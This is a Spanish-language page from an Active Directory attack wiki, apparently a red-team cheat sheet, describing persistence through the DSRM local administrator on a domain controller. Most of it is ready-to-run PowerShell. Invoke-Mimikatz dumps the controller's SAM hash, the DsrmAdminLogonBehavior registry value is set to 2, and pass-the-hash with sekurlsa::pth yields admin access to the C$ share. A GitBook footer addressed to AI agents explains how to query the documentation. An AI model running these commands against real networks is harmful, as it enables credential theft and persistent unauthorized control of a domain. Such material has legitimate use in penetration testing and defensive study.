> For the complete documentation index, see [llms.txt](https://activedirectory.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://activedirectory.mrw0l05zyn.cl/persistencia/directory-services-restore-mode-dsrm.md).

# Directory Services Restore Mode (DSRM)

## Descripción

Existe un administrador local en cada controlador de dominio, cuya contraseña corresponde a la ingresada en la opción de Directory Services Restore Mode (DSRM) al momento de instalar el servicio de Active Directory. Realizando una modificación al registro de Windows es posible activar dicha contraseña, para luego extraer su hash NT y acceder al controlador de dominio como administrador local utilizando Pass the Hash (PtH).

## Invoke-Mimikatz

1\) Obtención de hash NT del administrador local del controlador de dominio con Invoke-Mimikatz.

```powershell
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername <computer-name-DC>
```

2\) Configuración de registro `DsrmAdminLogonBehavior` con valor 2.

```powershell
# Comprobación si existe registro DsrmAdminLogonBehavior
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior

# Creación de registro DsrmAdminLogonBehavior y asignación de valor 2 si no existe
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD

# Actualización de valor del registro DsrmAdminLogonBehavior a 2 si ya existe
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
```

Pass the Hash (PtH) a controlador de dominio con sesión de administrador local.

```powershell
# Pass the Hash (PtH)
Invoke-Mimikatz -Command '"sekurlsa::pth /domain:<computer-name-DC> /user:Administrator /ntlm:<NT-hash-computer-DC> /run:powershell.exe"'

# Lectura de archivos
dir \\<computer-name-DC>\C$
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://activedirectory.mrw0l05zyn.cl/persistencia/directory-services-restore-mode-dsrm.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
